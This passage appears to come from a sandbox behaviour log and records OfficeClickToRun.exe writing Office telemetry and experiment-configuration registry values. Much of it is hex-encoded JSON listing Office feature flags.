6d656e746174696f6e2e56657273696f6e506172746974696f6e222c20225622203a20227374643a3a77737472696e677c57696e3332416e64726f6964486f7422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e576f7264436f70696c6f74446f67666f6f64222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e416c6c6f775a65726f4c656e677468536561726368537472696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4175746f436f727265637455492e41637469766974696573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4175746f446973636f7665722e4275674669786573466f7252657472794661696c65645265717565737473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4175746f446973636f7665722e4c696d6974546f4f6e654175746f446973636f766572222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4175746f446973636f7665722e4f6e6c795573654874747073222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e426f6f7449646c655468726f74746c6572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4275674669782e506572736f6e61436f6e74726f6c4261636b67726f756e64436f6c6f72222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4368616e6765476174652e44656c617943757272656e745549416374697665506c616365557064617465222c20225622203a2022626f6f6c7c3022207d2c C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|11" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\FirstSession\officeclicktorun C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\Expires = "int64_t|1716832168" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\TrustCenter\Experimentation C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|7" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.12 = 205c22474449417373697374616e745c22203a207b205c224576656e74735c22203a207b205c225265676973746572436c6f7564466f6e7443616c6c6261636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2248616e646c6543616c6c6261636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22466f6e744d616e6167657244657374727563746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464436c6f7564466f6e745265736f757263655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22466f6e74537562737469747574696f6e5c22203a207b205c224576656e74735c22203a207b205c22436f6c6c656374466f6e74537562737469747574696f6e55736167655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e5472616e736c61746f72222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22416c7465726e6174655472616e736c6174696f6e735265747269657665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6e7465787475616c53756767657374696f6e734c6f616465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745465787453656c65637465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745472616e736c617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745472616e736c61746564466565646261636b547269676765725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745472616e736c6174696f6e43616e63656c6c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745472616e736c6174696f6e53756767657374696f6e436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578636c756465644c616e677561676541646465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578636c756465644c616e677561676552656d6f7665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d6963726f666565646261636b566f746553656c65637465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6f786d6c5472616e736c617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253657474696e6773436c6f7365645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253657474696e67734f70656e65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536f75726365446f63756d656e744c616e674368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536f75726365546172676574537761707065645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536f75726365546578744c616e674368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546172676574446f63756d656e744c616e674368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546172676574546578744c616e674368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546578745472616e736c617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736c6174696f6e496e7365727465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736c6174696f6e4c616e6775616765734c6f616465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736c6174696f6e5461624368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416c7465726e6174655472616e736c6174696f6e4578616d706c655265747269657665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416c7465726e6174655472616e736c6174696f6e436f706965645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464496e4c6f616465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e5558222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22436f6c6f725069636b65725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6d696e67536f6f6e54435348574e445c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e6f46696c65457874656e73696f6e49636f6e4d617070696e675c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c225344585c22203a207b205c225375624e616d657370616365735c22203a207b205c224d65436f6e74726f6c5c22203a207b205c224576656e74735c22203a207b205c22547261636b65645363656e6172696f5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c225465616368696e6743616c6c6f75745c22203a207b205c224576656e74735c22203a207b205c225465616368696e6743616c6c6f7574416c726561647953686f776e4d617854696d65735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465616368696e6743616c6c6f7574416c726561647953686f776e5468697353657373696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465616368696e6743616c6c6f7574546f6f4d616e7953686f776e5468697353657373696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2244796e616d69634470695c22203a207b205c224576656e74735c22203a207b205c22446973706c6179546f706f6c6f6779456e756d65726174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446973706c6179546f706f6c6f67794368616e6765645c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22446f63756d656e745265636f766572795c22203a207b205c224576656e74735c22203a207b205c22496e76616c696461746550616e65735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22546f6f6c746970735c22203a207b205c224576656e74735c22203a207b205c2253686f77546f6f6c7469705c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22416e63686f7252656769737472795c22203a207b205c224576656e74735c22203a207b205c224765744f72437265617465416e63686f7252656769737472795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22526962626f6e546162735c22203a207b205c224576656e74735c22203a207b205c22526962626f6e5461624163746976617465645f466c6f6f64676174655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e576f7264222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c224544505c22203a207b205c224576656e74735c22203a207b205c22446f63756d656e744964656e746974794368616e67655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2250726f6f66696e675c22203a207b205c224576656e74735c22203a207b205c2250726f6f66696e674e6f50726f6f66526567696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225453706c4c6f61644c6962726172795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c6f75645370656c6c6572436865636b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e6f50726f6f6652756e4469666665727346726f6d5061726150726f705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c617373696669636174696f6e4372697469717565526573706f6e7365506572664d61704578636565645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224772616d6d6172436865636b657243616c6c5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22536176655c22203a207b205c224576656e74735c22203a207b205c22436d64446f53617665446f63436f7265436f6d6d616e64416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436d64446f53617665446f63436f7265416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22464d617953746172745472616e73616374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224669726553746174654f664175746f536176654f6e436c6f73655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22456964456e737572654f70656e466f72536176655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2242475361766546616c6c6261636b546f46475c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22576f72645c22203a207b205c225375624e616d657370616365735c22203a207b205c22426f6f745c22203a207b205c225375624e616d657370616365735c22203a207b205c2254696d696e675c22203a207b205c224576656e74735c22203a207b205c22446174615c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d2c205c22426f6f745c22203a207b205c224576656e74735c22203a207b205c22416464696e4d6f6e69746f7256616c6964617465426f6f745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464696e44697361626c65644469616c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464696e4d6f6e69746f7256616c6964617465426f6f74325c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2246696c654f70656e5c22203a207b205c224576656e74735c22203a207b205c22464e4d45696453657446726f6d5873747a46747970466e6d4469725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e697469616c697a6542696e6172794261636b696e6753746f72654361636865735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22576f72644d61696c5c22203a207b205c224576656e74735c22203a207b205c2248724c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872536176655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f6354696c696e675c22203a207b205c224576656e74735c22203a207b205c2254696c696e6749646c6542756e646c654576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2254696c696e6749646c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2254696c696e6749646c654865617274626561745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2254696c696e6749646c654669726542756e646c65644576656e74735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465787454696c65446f63756d656e7456696577476574456e756d657261746f724576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465787454696c65446f63756d656e7456696577446973636f6e6e6563745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465787454696c65446f63756d656e745669657753696e6b52656769737465725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465787454696c65446f63756d656e745669657753696e6b556e72656769737465725c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22436f417574686f72696e675c22203a207b205c224576656e74735c22203a207b205c224f6373446f776e6c6f6164526566557064617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244796e616d696353617665496e697469616c496e666f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22507573684f70526571756573745374617475735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22507573684f70436f6d706c657465645374617475735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2254687265655761794d657267655c22203a207b205c224576656e74735c22203a207b205c22435254435265766572745265706c61794b706f7353636f70654475726174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2246696c65536176655c22203a207b205c224576656e74735c22203a207b205c22436d645361766546696c65436f7265325c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2255494d5c22203a207b205c224576656e74735c22203a207b205c224655494d426567696e556e646f4265666f726546426567696e556e646f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224655494d426567696e556e646f416674657246426567696e556e646f5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224163636573736962696c6974795c22203a207b205c224576656e74735c22203a207b205c22416363436865636b657256696f6c6174696f6e547970655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2247726170686963735c22203a207b205c224576656e74735c22203a207b205c2245326f496e666f466f72446f63756d656e74436f6e7461696e696e674475706c696361746541727469645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446961676e6f737469635c22203a207b205c224576656e74735c22203a207b205c22496e636f73697374656e74526561644f6e6c79446f6350726f70657274795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22547261636b4368616e6765735c22203a207b205c224576656e74735c22203a207b205c22557463547261636b4368616e67657341646465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2255736572507265666572656e63655c22203a207b205c224576656e74735c22203a207b205c225365744972665c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e4368616e6765476174652e4361636865456e726963686d656e74416363657373546f6b656e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e526573656172636865722e4e6f64654a5357656250616765457874726163746f72222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e48656c704974656d53706c6974427574746f6e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e48656c7050726f7669646572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e497350656f706c654974656d53706c6974427574746f6e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e4d616a6f724974656d53706c6974427574746f6e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e4d6178436f6d6d616e64526573756c7473546f52657475726e222c20225622203a2022696e7433325f747c3422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e506172616d657465725465726d50726564696374696f6e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e51756572794c6f6767696e67456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e536861726564446f63756d656e74456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e53686f756c6453686f7748656c70416374696f6e73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e53686f774f6e6c794974656d4c6162656c49664465736372697074696f6e49734e756c6c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e57617465726d61726b506172616d65746572697a6174696f6e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5543492e54656c6c4d652e5a65726f417373697374616e6365526573756c7473456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\VersionId = "uint16_t|0" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ETag = "std::wstring|\"GiIz27Ey3eQoukGpN29mxq9BOATzZsTOMLsuLrCgGoM=\"" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.1 = 727952657061696e74222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4163636573732e4c696e6b65645461626c654d616e616765722e536561726368222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4163636573732e5175657279496d70726f76656d656e7473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4163636573732e5175657279496d70726f76656d656e74732e45434c4d756c746953656c656374222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e436f6d62696e654261636b656e6444696d656e73696f6e436f6d6d616e6473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4175674c6f6f702e4c6963656e73654665617475726573456e61626c65644f72436865636b222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4175674c6f6f702e576f726b666c6f7744697361626c65642e5265706c6163654f626a656374576f726b666c6f77222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4358452e48696464656e466f6e74734d736f466f6e745069636b657257696e3332222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e416c6c6f7753657456616c756573576974686f7574457863656c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e4368616e6765476174652e46436c6561724d6f6e696b6572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e436f6c6c656374536861706550726f7073427567466978222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e4d6170436861727459656c6c6f7744617461222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e5069766f744368617274496e7665727446696c6c427567466978222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e536c69646553686f7748696465546f6f6c74697073222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e417070564d61785265747279436f756e74222c20225622203a2022696e7433325f747c313422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e417070564d6178526574727954696d654c696d6974222c20225622203a2022696e7433325f747c363030303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e417070565265747279496e74657276616c222c20225622203a2022696e7433325f747c3230303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e5573655265666163746f72656453687574646f776e50726f636573736573222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e5573655465616d734164646f6e222c20225622203a20227374643a3a77737472696e677c656e61626c656422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e5573655465616d734f6e557064617465427573696e657373222c20225622203a20227374643a3a77737472696e677c656e61626c656422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e5573655465616d734f6e55706461746550726f506c7573222c20225622203a20227374643a3a77737472696e677c656e61626c656422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e4164646974696f6e616c4461746154797065456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e426c6f636b466565646261636b457870657269656e636542617365644f6e5072697661637953657474696e6773222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e426c6f636b537572766579457870657269656e636542617365644f6e5072697661637953657474696e6773222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e436f686572656e6365457870657269656e6365456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e446961676e6f73746963735341532e55706c6f6164657254797065222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e456e61626c65466565646261636b5632536368656d61222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e466565646261636b446973616d626967756174696f6e53637265656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e486f73746564466565646261636b5461736b50616e65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e486f73746564537572766579456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e536173466565646261636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446961676e6f73746963732e44697361626c654661737446696c746572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e414354522e5468726f74746c654361706163697479222c20225622203a2022696e7433325f747c313022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e414354522e5468726f74746c65496e74657276616c4d736563222c20225622203a2022696e7433325f747c3130303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4261636b7374616765496e6170704e61765632456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d6f6465726e436f6d6d656e74732e49735265706c7954696d657374616d704c6f6767696e67456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d6f6465726e436f6d6d656e74732e4a53476174652e4e657743617264426f7264657273222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d6f6465726e436f6d6d656e74732e4a53476174652e50616e65546162466f6375734669786573222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d6f6465726e436f6d6d656e74732e50726f636573734368616e676573496e766f6b65456c7365506f7374222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d736f2e4f757453706163652e446570726563617465536574496d6167654173796e63222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4f666669636553746172742e466978466f7241444f33393032343239222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4f757453706163652e536861726564576974684d652e44697361626c65446f63756d656e74735265717565737449665573696e674167674d7275222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e436865636b41637469766974794c6f67546f456e61626c654d656e74696f6e73222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e456e61626c655369746573467269656e646c7950617468222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e486973746f72794c6567616379436c65616e7570456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e486973746f7279556e696f6e466978456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e486f6d65506167652e436f6c6c61707369626c65536c616273222c20225622203a2022696e7433325f747c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e496e4170704e61762e43726561746552656e616d6544656c657465222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4d736f2e4f666669636553746172742e466978466f7241444f333838363036375632222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4f44656c74612e53747265616d4d6f6465222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e576f7069222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e4361636865457870697279496e4d696e222c20225622203a2022696e7433325f747c37323022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e436f6e666967496444656c696d69746572496e4c6f67222c20225622203a20227374643a3a77737472696e677c3b22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e436f6e6669674c6f67546172676574222c20225622203a20227374643a3a77737472696e677c64656661756c7422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e44697361626c65436f6e6669674c6f67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e456e61626c65536d61727445546167222c20225622203a2022696e7433325f747c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e454353546573742e746573747661726961626c65222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e496e7369676874732e456e61626c65436f6d706c65785069766f745461626c65496e5069766f745461626c655265636f6d6d656e646572222c20225622203a20224d736f3a3a416e79547970657c75696e7431365f747c323b626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e496e7369676874732e456e61626c655069766f745461626c655265636f6d6d656e646572222c20225622203a20224d736f3a3a416e79547970657c75696e7431365f747c323b626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e496e7369676874732e5069766f745461626c655265636f6d6d656e64657252616e6b65725632222c20225622203a20224d736f3a3a416e79547970657c75696e7431365f747c323b626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e4e616d656453686565745669657750657273697374656e6365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e436f6e66696746657463684d616e61676572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e44796e616d6963447069222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e457870466972737453657373696f6e5461736b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f